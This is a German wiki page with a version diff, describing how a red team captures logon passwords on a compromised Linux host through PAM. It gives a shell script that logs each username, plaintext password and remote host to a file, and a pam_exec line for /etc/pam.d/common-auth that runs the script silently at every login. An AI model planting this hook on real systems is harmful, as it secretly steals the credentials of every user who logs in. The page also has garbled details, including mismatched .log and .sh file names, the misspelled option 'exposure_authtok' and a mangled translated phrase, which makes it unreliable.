Sniffing Logon Passwords with PAM: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| Zeile 4: | Zeile 4: | ||
*Zuerst erstellen wir ein Bash-Skript, das immer dann aufgerufen wird, wenn eine neue Authentifizierung erfolgt. | *Zuerst erstellen wir ein Bash-Skript, das immer dann aufgerufen wird, wenn eine neue Authentifizierung erfolgt. | ||
=Erstellung des Skripts= | =Erstellung des Skripts= | ||
| − | *cat /usr/local/bin/toomanysecrets. | + | *cat /usr/local/bin/toomanysecrets.log |
#!/bin/sh | #!/bin/sh | ||
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log | echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log | ||
| Zeile 18: | Zeile 18: | ||
;Um zu verhindern, dass alle Benutzer die Datei lesen, sollten Sie sie vorab erstellen und chmod ausführen, z. | ;Um zu verhindern, dass alle Benutzer die Datei lesen, sollten Sie sie vorab erstellen und chmod ausführen, z. | ||
*chmod 770 /var/log/toomanysecrets.sh | *chmod 770 /var/log/toomanysecrets.sh | ||
| + | |||
=Aktualisieren der PAM-Konfigurationsdatei common-auth= | =Aktualisieren der PAM-Konfigurationsdatei common-auth= | ||
;Als nächstes muss die PAM-Konfigurationsdatei aktualisiert werden, das pam_exec-Modul wird verwendet, um das Skript aufzurufen. | ;Als nächstes muss die PAM-Konfigurationsdatei aktualisiert werden, das pam_exec-Modul wird verwendet, um das Skript aufzurufen. | ||
Version vom 10. Oktober 2022, 17:02 Uhr
Grundsätzliches
- Pluggable Authentication Modules (PAM) auf Unix-basierten Systemen sind nützlich, um das Anmeldeverhalten zu ändern und die Authentifizierung auf verschiedene Weise zu erzwingen.
- Angenommen, während einer Red-Team-Übung wurde ein Linux-Host kompromittiert.
- Zuerst erstellen wir ein Bash-Skript, das immer dann aufgerufen wird, wenn eine neue Authentifizierung erfolgt.
Erstellung des Skripts
- cat /usr/local/bin/toomanysecrets.log
#!/bin/sh echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
- Die Variablen sind PAM-spezifisch und werden über das Modul pam_exec.so verfügbar=
- Hier ist die Bedeutung der Variablen
- $PAM_USER: Der eingegebene Benutzername.
- $PAM_RHOST: Der Remote-Host (normalerweise die IP-Adresse)
- $(cat -): Dies liest stdin und enthält das Passwort, das das Skript abruft
- Die Ergebnisse werden in eine Protokolldatei unter /var/log/toomanysecrets.log geleitet
- Um zu verhindern, dass alle Benutzer die Datei lesen, sollten Sie sie vorab erstellen und chmod ausführen, z.
- chmod 770 /var/log/toomanysecrets.sh
Aktualisieren der PAM-Konfigurationsdatei common-auth
- Als nächstes muss die PAM-Konfigurationsdatei aktualisiert werden, das pam_exec-Modul wird verwendet, um das Skript aufzurufen.
- Es gibt verschiedene Konfigurationsdateien in /etc/pam.d/, und wir wählen common-auth.
- /etc/pam.d/common-auth
- Fügen Sie ganz unten in der Datei das folgende Authentifizierungsmodul hinzu
auth optional pam_exec.so quiet exposure_authtok /usr/local/bin/toomanysecrets.sh
Die Optionen haben folgende Bedeutung
- optional: Die Authentifizierung sollte nicht fehlschlagen, wenn ein Fehler auftritt (dies ist kein erforderlicher Schritt)
- pam_exec.so: Dies ist das vom Land lebende PAM-Modul, das beliebige Skripte aufrufen kann
- exposure_authtok: Dies ist der Trick, der es erlaubt, das Passwort über stdin auszulesen
- quiet: Dem Benutzer keine Fehler anzeigen (wenn etwas nicht funktioniert)
- Das letzte Argument ist das zuvor erstellte Shell-Skript